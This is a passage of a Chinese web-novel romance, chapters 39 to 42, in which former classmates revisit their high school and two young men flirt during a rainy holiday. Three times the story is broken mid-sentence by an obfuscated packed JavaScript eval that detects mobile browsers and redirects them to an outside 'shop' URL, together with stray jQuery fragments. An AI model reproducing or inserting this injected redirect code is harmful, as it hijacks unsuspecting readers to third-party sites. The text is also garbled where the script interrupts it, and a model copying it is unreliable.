今天是国庆节第一天，知杳按惯例会上半天课，再在下午三四点的时候陆陆续续放学。剩余几天都没有看老师的机会。 他到达目的地了，坐在保安室前面放着的凳子上晃着腿开始在地球小群里催促剩下的人。 不久，一辆黑色雷克萨斯从面前经过，他没怎么在意地抬头望了一眼，继续在群里催命。 [地球研究小组（4）] 【我是走远】：我是最准时的？怎么还不来，速来速来。 【桃女王】：不是，雨这么大？？？不要命了。 【桃女王】：我叫上了我周雪一起，防止被你们这群男生包围了。 【桃女王】：我们刚汇合，现在在打车，估计还有十分钟到吧。 【我无言以对】：什么你最准时，我才是最准时的。 【我无言以对】：哦对，我也叫上了个人。 邹煜安抬眼看了下时间——15：29，离他们约好的时间还剩下一分钟。 他发完那条“什么人”，抬头四周望了一圈，没有看到半个颜语凉，只瞧见远处校门外的雷克萨斯上下了个撑着黑伞的大长腿。 他正要在群里批斗颜语凉哪里准时，还有一分钟就超时了，你能飞过来不成。 脑筋一抽突然惊觉那个从车上下来的身影有点眼熟。 邹煜安停下了打字的手，又抬起头来。 他看到那个高挑的身影绕着车头走到了副驾驶的位置，拉开门探着伞接了个人下来。 从副驾上下来的人钻进对方伞下，笑着站到了对方面前，看嘴型是非常清脆地说了声“谢谢”。 邹煜安：…… 他头一次看颜语凉这么会装乖。 39. 冰可乐 邹煜安感觉自己牙疼。 他扶了下额，失去了同颜语凉打招呼的欲望，继续在群里发消息。 【我是走远】：上哪雇的这么帅的司机？@我无言以对 【桃女王】：什么？！ 【桃女王】：言爷你不要小艳了吗，怎么勾搭别的帅哥去了？ 【桃女王】：你有考虑过我们西皮粉的感受吗？西皮粉会碎掉滴 【我是走远】：小艳成小颜专属司机了。 颜语凉听到口袋里的手机震了好几下，想也知道是哪个群的消息，反正都到目的地了他懒得掏出来看消息。 颜语凉信步走到邹煜安面前，晃着手机给他看锁屏上的时间，正好15：30，他神色飞扬说：“看，颜大爷是不是很准时？” 邹煜安不想管颜大爷准不准时，目光在面前两人身上来回转了一会儿，点了两下廖寻桃发来的最新消息，消息内容便占满了一整个屏幕，朝颜语凉勾勾手指，示意他凑近一些，手机一转给他看。 kswl。 颜语凉：？ 什么鬼。 邹煜安同祝君忱打了声招呼，稀奇道：“你也是知杳的啊？” “嗯，”颜语凉反手用大拇指指了下身后的人，帮他解释道，“正好是我们下一届的。” “几班的？”邹煜安随口道，当时高中的时候他比较活络，小一届认识好几个班的“名人”。 祝君忱动了下嘴说：“6班的。” 闻言颜语凉有些讶异地回头看他：“你不是基地班的？” 知杳中学文理分班，文科分为abc字母班，理科分为123数字班，除了a班和1班是实验班外，其他都是平行班。 实验班的成绩一般来说是最好的，偶尔有偏科大王某一科能爬到校榜第一第二，但是总分榜的第一第二总是出自实验班。 知杳的教学水平高，每年都能出几十个985，实验班占大多数，平行班也有，但是不多。 “嗯。”对于颜语凉这句疑问，祝君忱没有表现出被冒犯，捻了下手指上前一步，走到他身侧，宽大的伞又遮住了他，偏头看向颜语凉问，“厉害么？” “厉害啊！”颜语凉眼睛里亮晶晶的，毫不吝啬地夸奖道。 实验班的师资力量是最强的，学习强度也是最强的，平行班稍微松一点，要突破自我更需要自律、坚持，这很可贵，但也很难得。说明祝君忱那几年是真的很努力，也很厉害。 祝君忱眉眼弯起来，从容地笑着说：“谢谢。” 邹煜安捂了下牙。 没眼看了，不过他很快等来了救星。 程和欢到了，他也是开车来的，车后座上坐了两个女孩，一个是廖寻桃一个是周雪。 颜语凉站在祝君忱伞下，看着他们走近，奇怪道：“你不是说打车吗？欢宝去兼职跑滴滴了？” 廖寻桃默不作声地望了一眼程和欢，面上的一丝尴尬一闪而过，正要说话，却被程和欢抢了先。 “顺路。” 几人在保安室登记好名字就能进校找老师了。 雨天路上耽搁的时间久，他们走进学校离四点只有一刻钟，正巧三点四十五有个铃声，某一栋教学楼便欢呼起来，是第一批放假的高一学生，就算是暴雨也阻挡不了他们鱼贯而出的步伐。 颜语凉他们走在银杏大道上的时候正是人最多的时刻，他们像逆行的海龟穿越迁徙的鱼群。 高中的时候，给颜语凉影响最深的大抵就是英语老师倩涂，他那一届是她第一次带实验班，高二有一段时间，他总是消沉，颜语凉是英语课代表，所以英语老师是第一个发现他不对劲的人，牛头不对马嘴地哄了他好几天。 虽然没有安慰到点上，但是至今想起来仍然无比感动，所以颜语凉几乎每年都会去看看她，空手或者带礼物老师总会很开心。 廖寻桃周雪和他一个班，去看老师正好搭伴。 周雪是语文课代表，廖寻桃当年没讨个闲职，长得讨喜还坐在窗口，常常被老师当作传话筒。 他们先去看望了当年的语文和数学老师，倩涂放在最后。 当年，倩涂虽然是个初入职场的小年轻，但已经锋芒毕露，凶起来不像个人，像会吃人的老虎，说实话两个小女生到今天都有点怕她。 颜语凉抬手敲办公室门的时候，两个小姑娘夸张地抱在一起瑟瑟发抖。 颜语凉收回了敲门的手，对着廖寻桃好笑道：“前几年也没见你这样。” 廖寻桃放开周雪一摊手：“路上和周雪叙旧想起来她当年把讲台揍出一个坑的事情，怕死了。再说了，前几年都跟你两个人来，你能让我抱着抖吗？” 颜语凉：…… 有时候想让廖寻桃改改由于他喜欢男生所以偶尔忍不住言语“挑衅”耍他流氓还不用负责任的行为。 六七年过去，倩涂几乎是一年一个样，刚毕业那会儿人是个为毕业班操碎心的憔悴女孩，第二年像是终于追上了潮流烫了个短发泡面头，第三年又把头发拉回了黑长直，又变成了那个高兴时和蔼，生气时狠心的雷厉风行名师，后来不想装嫩了又把头发烫地一卷一卷的。 今年较去年倒是没有多少改变，只是眼角多了两条不算明显的纹路。 颜语凉和她聊起最近的事，不由自主地多看了好多眼。 倩涂注意到他的目光，解释说她今年又亲手送走一届高三，那段时间总是陪那群孩子们起早贪黑，就是那段时间疏忽了保养，生了几道美人纹。 颜语凉反应过来应该是林夕繁俞归絮那两个班。 外面的雨簌簌地下着，衬着下课铃声像一段绵绵的间奏。 奏啊奏啊，反应过来的时候，岁月已经缓缓流了那么些年。 颜语凉当年的低谷期没有告诉倩涂真正的原因，后来毕业了才告诉她。 倩涂就是那会儿知道颜语凉就是言不言的，后来每年聊天的时候都会聊聊颜语凉最近些的作品。 今天自然是提到了暑期爆火的《尘封水》。 倩涂颇不乏自豪地对颜语凉说：“要不是怕你不乐意，我真想对我的每一个学生说，言不言以前是我英语课代表。” 颜语凉笑得爽快：“可以啊，这是我的荣幸，如果可以的话我还想逢人便说倩老师是我的班主任呢。” 倩涂被他逗笑了，忙不迭摆手：“太丢人了。” 颜语凉耸耸肩。 倩涂又拉着两个女孩说了好一会儿话。 颜语凉有些口渴，想着去楼下贩卖机买瓶水喝便提前跟老师道了别。 倩老师的办公室在三楼，他下楼的时候瞧见外边的雨幕小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758115|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多，估计刚刚他们过来那一阵是下得最大的时候。 颜语凉想不起来自己是从什么时候开始不爱喝饮料的，高中的时候体育课跑完步、打完羽毛球，总爱来b栋教学楼后边的贩卖机买罐冰可乐哐哐灌。 而现在，可乐、雪碧变成了咖啡、矿泉水和酒。 站在贩卖机前，他不知道从哪里苏醒的肌肉记忆，买了罐蓝包装的百事可乐。 从贩卖机里拎起那罐可乐，冰得手指都快冻掉了，不知道为什么当年的自己能一口气吞一瓶。 “咔。” 他垂目拉开了可乐拉环，像高中时一样猛喝了一口，气泡炸满喉腔，连带着眼底都被惊出了些凉丝丝的水汽。 颜语凉无法共情当年的自己，倒是终于能理解身后不知道是谁的出声提醒：“这样喝很伤身体。” 这个声音比可乐还要冷一些，却比可乐清澈，就像喜马拉雅山巅的第一口融化的冰水。 他莽着劲灌完一罐可乐的时候回头人已经不见了。 那汪触及他的冰泉宛若幻听，只听到树丛里沉寂已久的知了“吱——”地长鸣一声。 被气泡水弄出眼泪的颜语凉从久远的回忆中挣脱出来，脚下打了个弯打算四处转转，他拿出手机，想问问祝君忱他高中能一口气喝完一整罐可乐牛不牛逼，抬眸却在走廊的最尽头看到了脑子里正在想着的那个人。 雨后的枝梢湿漉漉的，上头牵着的叶子繁密干净，天际乌云消散了许多，露出清透的光来。 祝君忱对面站着一个女孩，温婉的大辫子，优雅的长裙子，和对方说话的时候不由自主地把耳畔垂下的发丝勾回耳际，再抬眼的时候面上就多了几分绯色。 颜语凉愣住了，他的目光在两人身上定了两秒，不知这小姑娘说了些什么，祝君忱本严丝合缝的脸上竟露出温和的笑来。 颜语凉很轻地眨了下眼，舌尖用力抵了下上颚，微长的睫毛扫下，一只手用手指捏着凉得惊心的可乐，一只手把刚要给对方发的消息全删了。 远处的那个人似有所感地回头，他的心“咻”地一跳，脚下一拐转进了一间空教室。 不是。 躲啥啊？？？ 心虚啥啊？？？ 颜语凉心坎上的小人把自己骂得眼观鼻鼻观心。 他刚刚是在祝君忱转头的那一瞬间进这个教室的，如果对方视力不算差或者反应足够快的话，应该是看到他走进来了。 世上没有后悔药，也没有存档点给他读档，肯定是不能马上出去，那样更蠢了，颜语凉叹了口气，直接坐在第一排第一个位置，旁边就是窗户。 无奈地灌了口可乐，不知是不是饮料的原因，他听到自己的心口一下一下有规律地打着鼓。 他数着那鼓点，一、二、三、四……九。 “笃。” 第十下的时候，窗户被敲响了。 颜语凉仰头喝了好几口可乐，目光扫向窗外，看到了祝君忱。 罐子里的液体尽数流过喉头，气泡已经没有刚开那会儿足了，但他还是被口腔里的那股劲辣得眼眶湿漉漉的。 可乐喝完了，他微微使劲把罐子捏扁。 祝君忱微不可察地蹙了下眉，轻轻推开学生忘记锁上的窗户。 他说：“别这么喝，很伤身体。” 40. 归属人 祝君忱的声音和那年夏末下午身后的声音重叠了，颜语凉恍然听到一声蝉响。 他回过神来，晃了下呈沙漏状的罐子，反驳道：“我没有一次性喝完。” “哦，”祝君忱表情好看了很多，抬眼扫过整个教室，问道，“你在这干嘛？” 颜语凉本来想说：“在这坐会儿，追忆高中生活。” 话到嘴边又觉得这句话随便拎个字出来就是槽点，半真半假道：“看你在那边聊天，坐这里等你。” 祝君忱胳膊抵在窗台，姿态放松地和颜语凉说话，又问道：“那为什么不给我发消息？” 颜语凉翘着嘴角，愉悦道：“准备吓你一跳，结果被发现了。” 祝君忱正要说什么，之前同他说话的那个女孩走到了他身侧。 颜语凉翘高的嘴角翘不动了，欲盖弥彰地抹了下有些湿润的嘴角，目光落在女孩身上，问祝君忱道：“这位是？” 女孩不像是外向的性格，朝颜语凉礼貌地露出一个微笑，却没有立马回答，目光转向祝君忱，因为颜语凉问的不是她。 祝君忱回头看她一眼，向颜语凉介绍道：“我朋友。” “你好，我是饶漫临。”女孩这才开口，声音不大，但又不显得小心局促。 “你好，我是颜语凉。”颜语凉颔首道。 “很高兴认识你，刚刚和阿忱聊天他还说到你了。”饶漫临温和地笑着，举手投足都是大家闺秀的风范。离近了看她确实是个少有的美人胚子，脸上明明没有抹胭脂水粉却依然唇红齿白，透着洋娃娃似的精致。 颜语凉眯了下眼，敏锐地察觉到她对祝君忱特殊的称谓，而祝君忱似乎早已习惯对方这样称呼自己，脸上一丝别样的情绪都没有，舌尖蓦然腾起一股酸劲。 祝君忱抬手看了眼时间，偏头问女孩：“几点的飞机去英国？” 饶漫临抬眼撞上他的目光，匆匆挪开，眼底飘过一抹难过说：“八点半左右，那我先走了。” 祝君忱眼睫轻眨，道了声：“再见。” 饶漫临把目光从几米远的某棵树的金叶上移回来却发现祝君忱已经看向了颜语凉，语调里透出不易察觉的落寞，向面前的男人告别道：“再见。” 十月初的雨后清新爽朗。 女生离开的时候裙摆被小道边低一些的丛枝蹭湿了一块，她蹙着眉抚平那一道褶皱，又不舍地回头望一眼。 她马上就要出国了，近两年都会在外面待着，本以为今天能见祝君忱最后一面，陆阿姨却说他来知杳了，所以她给人发了消息匆匆赶到母校，专程来一趟只为听对方一声“再见”。 说了再见的人就一定会再见的。 此刻，饶漫临看到自己满心满眼暗恋的男生正谈笑风生地说着什么话，祝君忱言笑晏晏的模样是她最喜欢的样子，却似乎从未在她身上光临片刻。 方才聊天的时候也是，和平时一样冷冷的，毫无认识多年的热络，听到她问：“怎么突然想起来来知杳了？” 祝君忱才牵起温和地笑来，说：“陪颜语凉来的。” 似乎意识到自己不认识这号人，他才解释道：“你不认识。”那抹笑也尽数收回。 饶漫临便明白，那突如其来的温柔不是属于她的，或者说她从没见过那别样的温柔属于过谁。 现在她亲眼看见了，方才寒暄完还没说几句话，对方就如同装了雷达一样偏头看到了转身走进教室的颜语凉。 从小的家庭教育让她一直有个习惯——社交之后在心里做一个小总结。 今天她含着满腔酸涩反应过来。 祝君忱的温柔属于这个闲坐在窗口的男生，属于颜语凉。 另一边，颜语凉指着祝君忱靠在窗台的衣袖，说：“你袖子好像沾水了。” 雨后的窗台毫无意外地有些湿意，但祝君忱仗着外套袖子长就这样毫无防备地靠着。 被颜语凉提醒，他才有些头痛地捏了下那片半湿的布料，再抬头的时候发现颜语凉正一只手支着腮看他。 对上目光，颜语凉意味不明地唤了一声：“阿忱？” 祝君忱脸上的表情住了一下，而后才意识到颜语凉是在说饶漫临对他的称呼，抬了下嘴角发出一声轻笑：“从小认识，老家那一片住宅区都这么喊我。” “哦，”颜语凉放下撑着脸的手，站起身来，视角却依然比对方低一截，他其实刚刚那样叫完祝君忱立马就后悔了，怕对方觉得自己冒昧，但是没有，这人居然认真地解释起来，他便又起了几分打趣的意味，道，“青梅竹马，两小无猜？” 祝君忱压了下眉，又靠回窗台，这下两人的视线在同一个水平线上，距离也较平时更近一些，不过颜语凉的目光落在他微湿的袖角，没有发现他们间的间距已经超过安全线了。 祝君忱说：“胡说什么，我说过——” 颜语凉听得耳朵发痒，再抬眸才发现祝君忱凑近了很多，仓惶对视。 他之前说的楼底下种着很大一片桂花树的教学楼就是这一座，雨天，桂花香被冲淡许多，现在雨停了，香味又袅袅飘来。 勾得他的心，剧烈地跳。 听见对方轻飘飘地又强调一遍：“我喜欢的是男生。” 颜语凉没从他眼底看到半分开玩笑的意味。 “咚咚、咚咚咚咚……” 扛不住了。 他撇开眼，抬脚退开一步，说：“走吧。” “好。”声音像花香一样轻。 天边的亮色倏忽冒着，云头又下起星星点点的雨来。 祝君忱撑起伞遮着两人往校门口走，颜语凉没怎么说话，他感觉自己突然得了心脏病，一路都盘算着要不回头上医院看看。 他们之前分道前约好各自看完老师后在保安室汇合，颜语凉和祝君忱到的时候邹煜安和程和欢已经等了一会儿了。 邹煜安瞧见他俩一起走过来，眼皮子一跳，奇怪道：“你俩怎么又凑一块了，你不是和桃子周雪一块去的吗？” 颜语凉敏锐察觉到在邹煜安提到某个名字的时候正在盯手机的程和欢抬头看向了他，那一瞬间他终于对邹煜安那句“欢宝喜欢桃子很久了”这句话有了实感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758116|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说起来似乎确实很明显，程和欢老是追着廖寻桃跑，虽然嘴上不饶人，但对方一叫，手上不管有什么事通通往后推。 “倩涂拉着她俩聊太久了，讲得我都渴了，就先走了。” 邹煜安给他竖大拇指：“别人讲话你听渴了，颜大爷您共情能力挺强哈。” 颜语凉没应他，从祝君忱伞下出来，站到程和欢旁边，刚要开口，却又闭上嘴不知道怎么说才能更自然、显得不冒犯。 抓耳挠腮半天，邹煜安终于扯他一把，忍不住了：“我知道你想问什么，我刚刚路上问过了，他不告诉我，也不会告诉你他和桃子最近怎么了的。” “不是，我想问的是，”颜语凉潦草抓过自己的后脖颈，明明保安室里除了个正在捧着手机玩消消乐的保安就没有外人了，但他还是把音量压低，说，“程和欢你真喜欢廖寻桃啊。” 邹煜安：“……” “我还以为你要问什么有营养的问题呢。”邹煜安作要晕倒状，“我昨天不是跟你说了，很明显吗？” 昨天邹煜安那条消息尤在眼前。 他想起来对方说的“程和欢喜欢廖寻桃明显得就像他喜欢祝君忱”，心跳又快一拍，不由自主地瞥了眼祝君忱。 发现对方似乎对八卦并不在意，一心看着手机，直到颜语凉正好瞥见他手机因长久没有触碰暗淡下去。 得，装得还挺像。 他的注意力从祝君忱身上收回，拒绝了邹煜安的诋毁：“那都是你的臆断，我得问问是不是确有其事。” 他目光同邹煜安的相接，在空气中打起架来。 身后的程和欢却无比自然地承认了：“对，我是喜欢廖寻桃。” 邹煜安一抬手把他和颜语凉的眼波战场切断了，“啧啧”两声说：“从小一块长大的情谊还是太深了，谁能保证不对青梅竹马动心？” 颜语凉右眉一抬，偏头煞有介事地看了眼祝君忱，说：“有道理。” 正在默默吃瓜突然被波及的祝君忱：“……” 云头的最后一点雨飘完了，远处走来两个拎着伞、谈笑风生的女孩。 邹煜安是气氛活跃组，程和欢和廖寻桃的关系僵了两天，他在想办法从中调解，虽然没有打听出其中关窍。 此刻他朝远处大力挥手：“快点啊——” 边上还有零零散散没有走光的同学，闻声回头目光好奇地游弋在几人之间，远处廖寻桃没好气地冲他摆摆手：“急什么！” 程和欢跟着邹煜安往前走了两步，颜语凉抱着胳膊想看出他俩间更多的端倪来，却被打断了。 祝君忱走到他身侧，轻声回复他之前深深那一眼，说：“我。” “什么你？”颜语凉没反应过来。 祝君忱没有再解释了，他相信颜语凉能知道自己在说什么。 事实上也确实如此，颜语凉沉吟一秒就明白过来，祝君忱说的话完整说来大抵是“我能保证不对青梅竹马动心”。 他垂头闷笑一声，面上坦然，耳根子却热得发红，编起小说来：“第一章，白月光回国。” 41. 小花亭 祝君忱没辙地看他一眼：“……” 颜语凉被祝君忱无语无奈的表情逗得笑起来，脸都僵了，根本停不下来。 他的异常自然也被邹煜安发现了。 小邹同学刚转头想说“人齐了可以走了，要不要组个局去吃个饭”，就看见小颜同学笑得腰都直不起来，而小祝同学就在旁边半是无奈半是……他看不出来是什么，反正就是一脸宠溺地看着颜语凉。 再转过头，发现程和欢已经低眉和廖寻桃说起了话。 两人虽然状态不明不白，但从各自的神态来看像藏着双向心事。 小邹同学失去了组饭局的心情，大手一挥说：“都散了吧！” “你怎么回去？”程和欢闻言偏头问他。 “打车啊，我爸妈只负责送不负责接。”邹煜安坐在塑料凳上嘟囔道。 “我送你。” 本来还有些郁闷的邹煜安“噌”一下站起来，低眉作揖道：“谢霸总。” 廖寻桃被古风小生状的邹煜安吓一跳：“这是受啥刺激了？下雨淋到脑子了？” 邹煜安捋着并不存在的胡子，左右看了两眼，回答道：“人类的悲喜并不相通。” 程和欢那边正好坐一车人，颜语凉不跟他们挤，道过别后依旧坐祝君忱的顺风车。 雨已经停了，天边隐约有些放晴，但是依然瞧不到太阳的影子。 颜语凉打开车窗四处张望着，有些遗憾地说：“我记得小时候这样的天气很容易看见彩虹，现在倒是很久没看到了。” 祝君忱盯着后视镜把车开到大道上，闻言应道：“乡下水汽足，看见彩虹的概率大。” “也是，”颜语凉点点头，“知杏这几年发展太快了。” “我想带你去个地方，我有间小花园，很漂亮。”祝君忱偏头看他一眼问，“我家在城郊的老宅子，偶尔有阿姨去打理，没人住，去吗？” “你自己种的花吗？”颜语凉有些惊喜。 “嗯。”其实这个小花圃的建议是她妈妈提出来的，不过陆缘此人管杀不管埋，各式各样的花种买了，后面种花都是祝君忱自己来，没想到今日倒真有了用场。 祝君忱打了个转，绕路带颜语凉去了城南偏郊外的老宅子，国庆期间有几条大路堵得水泄不通，他有两条路走的是人比较少的小路。 颜语凉靠着窗看到祝君忱又带着他拐进了一条偏窄的巷子，灵机一动，说：“第二章，杀挚友，抛荒野。” 祝君忱好一阵子没去老宅了，脑子里转着路线，没有立马跳到颜语凉的频道，闻言顺口接道：“不是白月光吗？” 颜语凉刚刚斟酌好久，觉得杀朋友不太合理，说情人有点太越界，最后说成杀挚友。 然后被祝君忱嘴皮子一抬，变成了白月光。 他捂了下脸，掩饰一闪而过的无措，脑筋一转化“干戈”为玉帛：“白月光刚回国就被你杀了？” 祝君忱没有再说话了，因为无论他说是或者不是，都得默认自己有个在国外马上回国的白月光，而他现在的架势是像要抛颜语凉于荒野，这剧情因为他搭错频道已经说不清楚了。 唯一让剧情合理化的说辞就是，颜语凉就是那个海归白月光。 好在又转一个弯就拐进了一个别墅区，两人不知哪来的默契跳过了这个话题。 这个别墅区确实不算新，绿化带里灌木丛生，保安室的墙壁上爬满了被秋天染黄的爬山虎。 里边带着眼镜正在写着东西的大叔闻声抬眼扫过来，看见车牌面上就露出了喜色，拉开窗户道：“阿忱啊——带朋友来玩啊？” 祝君忱冲他勾出一个笑，点点头开着车进了小区。 颜语凉想起对方之前说的“老家那一片住宅区都这么喊我”，脑子里突然冒出一个画面——祝君忱走在这个小区里，每走一步就有人喊句“阿忱啊”，不禁掩唇轻笑一声，其实这个画面并不好笑，但是他觉得祝君忱的表情应该会很好笑。 虽然他笑得很轻，但是还是被祝君忱听到了，祝君忱对这一片小区轻车熟路，不由得加了脚油门，奇怪道：“笑什么。” “我在想，原来阿忱真的不是个特殊的称谓。” “我还能骗你不成？”祝君忱反问。 谈笑间，他们的车开进地下车库，停稳后走出出口右拐就站在了一栋别墅前。 颜语凉抬头端详着这栋房子，和旁边两栋的简约风不一样，这一户被装修成了田园风。 院后长了三两棵高大的树木，为宅子落下绿茵，在秋天的泡浮下染得金黄，正好一阵风刮过，叶子便簌簌地往屋顶上掉。 雨后的潮湿衬得空气干净花枝漂亮，这里的花草尤其多，各扇门都紧闭着，却不显得死气沉沉。 颜语凉感叹道：“梦中情房。” 祝君忱拍了一下他的肩膀，示意他往里面走，含着不太明显的催促意味。 就在他迈进院子的那一刻，祝君忱看向颜语凉，突然问：“你是祝枫华什么粉？” “啊？”颜语凉看到他脸上噙着的笑，词穷一秒，不知道该怎么答，有些懵地说，“普通书粉啊。” 祝君忱又拍他一下，说：“现在你是私生粉了。” “？？？”颜语凉头顶冒出三个问号。 祝君忱抬手指着楼上某个房间，说：“那是我爸以前书房。” 是，都追到偶像老家来了，可不就是私生粉吗？ 被迫扣上私生粉帽子的颜语凉怀着崇敬的心情看向那个神圣的房间：“那就是祝枫华写出《天下轮回》的地方吗？” 祝君忱没想到他的入坑作这么老，张了张口，犹豫道：“他写那本的时候好像一直住城里。” 颜语凉对那间书房的神圣滤镜淡了些，有些没头脑地问：“为什么？” 祝君忱倒真说出个所以然来：“因为那时候我要出生了，这里离医院太远，不方便。” 这个宅子是真的在城郊，十几年前周边最近的超市都得跑两公里，近两年周遭才发展得方便一些。当年祝家的家底还没有多殷实，一个是二十多岁刚出头的文学愤青，一个是二十多岁白手起家的创业女新人，靠着两家的爹妈和两人的积蓄凑了些钱出来，买了个性价比最高的房子。 后来两人摸爬滚打，一个成了著名的小说家，一个成了小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758117|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有成就的业内女强人，才有闲钱给这间别墅好好装修一番。 前院里有个秋千，被雨水洗刷一新，风吹过微微晃着。 祝君忱带着颜语凉绕过前院，鹅卵石路走得脚底板痒痒的，在宅子的东北方向有一间不小的亭子，说是亭子，其实就是延长的屋檐，从二楼阳台底下伸出木制天花板，木制的小围栏，松木的纹理被雨水浸得愈发清晰。 正是三色堇盛放的时节，它们争相挤出围栏，缀得小亭子愈发生机勃勃。 亭子里边种着各式各样的花，高高低低都有，颜语凉隐约能认出来几株，有洋桔梗、小雏菊。 再里边就是台阶，两米多长的平台两侧摆着一些盆栽，今天雨比较大，它难免被波及，有些湿漉漉的。 亭子连着宅子的侧门，祝君忱拿出钥匙来开了门，进去放眼望去是一个小小的墙上书架，只有两排，一排专业书和工具书混杂着一些心理学上的书，左边有一个较小的走廊通往里屋，不过也上了锁。 窗户很干净，能看到外面漂亮清新的景色，房间的正中心放着一个直径约一米半的圆桌。 “以前我妈经常在这里约几个小姐妹喝下午茶，后来住知杏去了这边就闲置了，假期的时候我经常在这写小说。”天有些暗了，祝君忱开了灯，给颜语凉拉开椅子，示意他坐下来，有些高兴地牵起嘴角问，“好看吗？都是我摆的。” “好看，”颜语凉的目光扫视一圈落在那叠书架上，“你居然不在书架上放自己写的小说。” 祝君忱对颜语凉日常想扒他马甲的行为见惯不怪，半真半假道：“确实没有小说书的书架缺了不少人情味，明天买两本言不言老师的书塞这里。” 颜语凉轻笑一声，从善如流道：“那我明天还来。” 祝君忱眼皮子轻抬，同颜语凉对上目光，听到对方接着说：“言不言老师要查作业的。” “好，待会回去路上就买，”祝君忱弯起眼，邀请道，“最近剧本写得怎么样了？要不要明天接你过来，到这来写？” 颜语凉抬手看了眼地图，发现他家、知杳中学和这里，三点连起来正好是一个等边三角形，也不算远。 而且这边非常安静，也确实很漂亮，可以说是心旷神怡。 颜语凉又回想起今天早上难得起了个大早，想践行“一日之计在于晨”赶早工写剧本。 结果刚写十分钟就去给奶奶洗上水果了，又写十分钟爬床上睡了个回笼觉，笼统算来他今天才写半小时，状态奇差。 于是他歪了下头，欣然同意了祝君忱的邀请：“好啊，几点？” 而且，这意味着能跟祝君忱待一天，全是好处，没有坏处。 “我没什么事，你什么时候有空了，发消息或者打电话给我。” “好啊——”颜语凉拖着调子往椅背上仰了一下，继续说，“为了报答你给我提供了个如此完美的自习室，我明天中午请你吃午饭吧。” 祝君忱犹豫着纠错道：“其实没那么完美，现在天气凉了还好，夏天的时候纱门、纱窗没关好会有蚊虫。” 闻言，颜语凉感觉自己的小腿条件反射地痒起来了。 42. 挡箭牌 “对了。”临走前祝君忱抬起手机看了眼时间又想起来件事，带着颜语凉来到宅子后院的两棵大树下。 天已经黑透了，两人开了手机自带的手电筒，踩着石子路来到大树的后边。 祝君忱捡了根树枝，拨了几处草丛。 颜语凉差点以为他在自家院里捡垃圾，但也没问，只是亦步亦趋地跟着。 终于，在拨开某处灌木丛的时候，祝君忱回头看向颜语凉。 颜语凉在看清楚草丛里的东西的那一刻眼睛睁大了——是三只猫！ 两只狸花一只奶牛！ “猫！”资深猫奴颜语凉低声惊叫，草丛里被光照着的三只猫有些警觉，但是没有直接跑开，颜语凉手忙脚乱点开相机拍了张照。 祝君忱解释道：“他们三个是这个小区的‘三剑客’，名字我不知道，每到这个点都会去各家各户巡逻，讨饭吃。” 颜语凉稀奇道：“你怎么知道他们会在这？” 祝君忱轻轻摇头说：“碰碰运气，我家这很久没人住了，它们就经常在这几棵大树下过夜，你运气很好，一次性就见到了三只。” 几只小猫盯着两个怪人许久，最右边那只狸花先反应过来，噌噌噌跑走了，后面几只依次跟上，窜远消失不见。 “我从小就喜欢追着猫跑，有时候晚饭吃一半，家门口来了只猫就拎着桌上的虾跑出去喂。”颜语凉的目光落在猫儿们消失的地方。 祝君忱能想象到那个画面：“你奶奶不说什么？” “我奶奶啊——”颜语凉回想一会儿，“嘴上说着让我先吃饭，实际上也不拦我，所以当年的所有的流浪猫小弟都喜欢跟颜语凉老大讨饭吃。” “别人是山大王，你是猫大王。” 猫大王的专属司机把猫大王送回了家，司机婉拒了奶奶留晚饭的邀请，匆匆赶回家。 祝君忱家里没有什么严肃的家风，主打一个爱干啥干啥，但是饭点逾期不候。 所以他赶回家的时候只来得及自食其力炒蛋炒饭吃。 陆缘从沙发处走到厨房里，看着祝君忱磕碜地撒酱油，问：“不是说二十分钟就能赶回来吗？。” 祝君忱耷着眼皮说：“去了趟书城。” 他本来确实能直接回来吃饭，结果半路想起来明天言不言老师要来查作业的事绕路拐到市区逛了好一会儿书城，回来的时候黄花菜都凉了。 阿姨国庆节全都回家去了，没人给他兜底，只能自己炒饭吃。 “买什么了？没看你拿着书进来。”陆缘随意问道。 祝君忱却没那么自然，握铲的手顿了一下，没有回答这个问题，转而问：“我记得你那本《沉默雨季》是亲签版吧。” 陆缘竖起食指，语气沾上些洋洋得意：“是亲签典藏版。” “我跟你换。” 陆缘：？ 平常让祝君忱看一眼言不言的书都是太阳打西边出来了，今天大抵是赤道下了雪，祝君忱居然能说出这种话来。 陆缘抱着胳膊：“你拿什么跟我换？” 没等祝君忱回答，她便继续说到：“难不成是《海纳百石》亲签版？我跟你说你从小到大写的作文我都留着呢，我可不缺今辰好签名。” 谁知祝君忱绷着嘴角说道：“我拿《沉默雨季》普通版跟你换。” “……” 感觉到他没什么好话，但是没想到对方说出来的话像抢劫的陆缘：“滚。” 说完，兀自走回客厅。 